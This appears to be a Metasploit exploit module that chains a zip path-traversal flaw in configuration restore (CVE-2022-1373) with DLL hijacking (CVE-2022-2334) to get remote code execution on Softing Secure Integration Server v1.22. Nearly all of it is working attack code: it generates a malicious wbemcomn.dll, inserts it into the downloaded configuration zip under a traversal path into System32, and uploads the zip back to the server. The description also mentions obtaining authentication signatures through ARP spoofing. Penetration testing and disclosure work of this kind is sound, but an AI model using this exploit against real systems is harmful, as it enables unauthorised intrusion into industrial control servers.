##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zip'
require 'metasploit/framework/login_scanner/softing_sis'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',
'Description' => %q{
This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.
In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.
In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.
The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Anastasio (muffin) of Incite Team', # discovery
'Steven Seeley (mr_me) of Incite Team', # discovery
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module
],
'References' => [
['CVE', '2022-1373'],
['CVE', '2022-2334'],
['ZDI', '22-1154'],
['ZDI', '22-1156'],
['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],
['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']
],
'DefaultOptions' => {
'RPORT' => 8099,
'SSL' => false,
'EXITFUNC' => 'thread',
'WfsDelay' => 300
},
'Platform' => 'win',
# the software itself only supports x64, see
# https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
'Arch' => [ARCH_X64],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-07-27',
'Privileged' => true,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),
OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])
]
)
self.needs_cleanup = true
end
# this will be updated with the signature from "check"
@signature = nil
# create a checker instance to reuse code from the Softing SIS login bruteforce module
def checker_instance
Metasploit::Framework::LoginScanner::SoftingSIS.new(
configure_http_login_scanner(
host: datastore['RHOSTS'],
port: datastore['RPORT'],
connection_timeout: 5
)
).dup
end
# check if the generated/provided signature is valid for the specified user
def signature_check(user, signature)
send_request_cgi({
'method' => 'GET',
'uri' => "/runtime/core/user/#{user}/authentication",
'vars_get' => {
'User' => user,
'Signature' => signature
}
})
end
def check
# check the Softing SIS version
softing_version_res = checker_instance.check_setup
unless softing_version_res
return CheckCode::Unknown
end
softing_version = Rex::Version.new(softing_version_res)
print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")
# the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
# so we will not continue if the version is not vulnerable
unless softing_version < Rex::Version.new('1.30')
return CheckCode::Safe
end
# if the operator provides a signature, then use that instead of the username and password
if datastore['SIGNATURE']
print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")
# send a GET request to /runtime/core/user/<username>/authentication
signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])
# if we cannot connect at this point, we only know that the version is < 1.30
# the system "appears" to be vulnerable
unless signature_check_res
print_error("#{peer} - Connection failed!")
end
# if the signature is correct, 200 OK is returned
if signature_check_res.code == 200
print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")
@signature = datastore['SIGNATURE']
else
print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")
end
# login with username and password
else
# get the authentication token
auth_token = checker_instance.get_auth_token(datastore['USERNAME'])
# generate the signature
@signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])
# check the generated signatures' validity
signature_check_res = signature_check(datastore['USERNAME'], @signature)
# if we cannot connect, then the system "appears" to be vulnerable
unless signature_check_res
print_error("#{peer} - Connection failed!")
end
# if the signature is correct, 200 OK is returned
if signature_check_res.code == 200
print_good("#{peer} - Valid credentials provided")
else
print_error("#{peer} - Invalid credentials!")
end
end
# if the version is less than 1.30 it's supposedly vulnerable
# but there is no way to confirm vulnerability existence without actually exploiting
# so instead of "Vulnerable", return "Appears"
CheckCode::Appears
end
def exploit
# did the operator specify a custom DLL? If not...
if datastore['DLLPATH']
# otherwise, just use their provided DLL and assume they compiled everything correctly
# there is no way to check if it's compiled correctly anyway
dll_path = datastore['DLLPATH']
else
# have MSF create the malicious DLL
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
datastore['EXE::Path'] = path
datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')
print_status('Generating payload DLL...')
dll = generate_payload_dll
dll_name = 'wbemcomn.dll'
dll_path = store_file(dll, dll_name)
print_status("Created #{dll_path}")
end
# backup the Softing SIS configuration
print_status("#{peer} - Saving configuration...")
get_config_zip_res = send_request_cgi({
'method' => 'GET',
'uri' => '/runtime/core/config-download',
'vars_get' => {
'User' => datastore['USERNAME'],
'Signature' => @signature
}
})
# end if we cannot get the configuration for some reason
unless get_config_zip_res
fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"
end
# status code 200 is the expected response to getting the configuration ZIP
unless get_config_zip_res.code == 200
# for verbosity, save the JSON response
get_config_zip_res_json = get_config_zip_res.get_json_document
vprint_error("#{peer} - #{get_config_zip_res_json}")
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"
end
# if successful, the body cnotains the configuration ZIP
config_zip = get_config_zip_res.body
# config_download.zip is the name of the configuration ZIP when downloading from the browser
# append a hash based on the peer address to prevent overwriting the config file if there are multiple targets
config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"
# store the config zip file
config_zip_path = store_file(config_zip, config_zip_name)
print_status("Saved configuration to #{config_zip_path}")
# insert the malicious DLL
Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|
zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)
end
# restore the configuration
restore_config_res = send_request_cgi({
'method' => 'PUT',
'uri' => '/runtime/core/config-restore',
'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",
'vars_get' => {
'User' => datastore['USERNAME'],
'Signature' => @signature
},
'data' => File.read(config_zip_path)
})
# no response
unless restore_config_res
fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"
end
# bad response
unless restore_config_res.code == 200
# for verbosity, show the JSON response
restore_config_res_json = restore_config_res.get_json_document
vprint_error("#{peer} - #{restore_config_res_json}")
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
end
end
# clean up the planted DLL if the session is meterpreter
def on_new_session(session)
super
unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
end
end
# Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file
# literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce
def store_file(data, filename)
if !::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename && !filename.empty?
fname, ext = filename.split('.')
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9._-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, 'wb') { |fd| fd.write(data) }
full_path.dup
end
end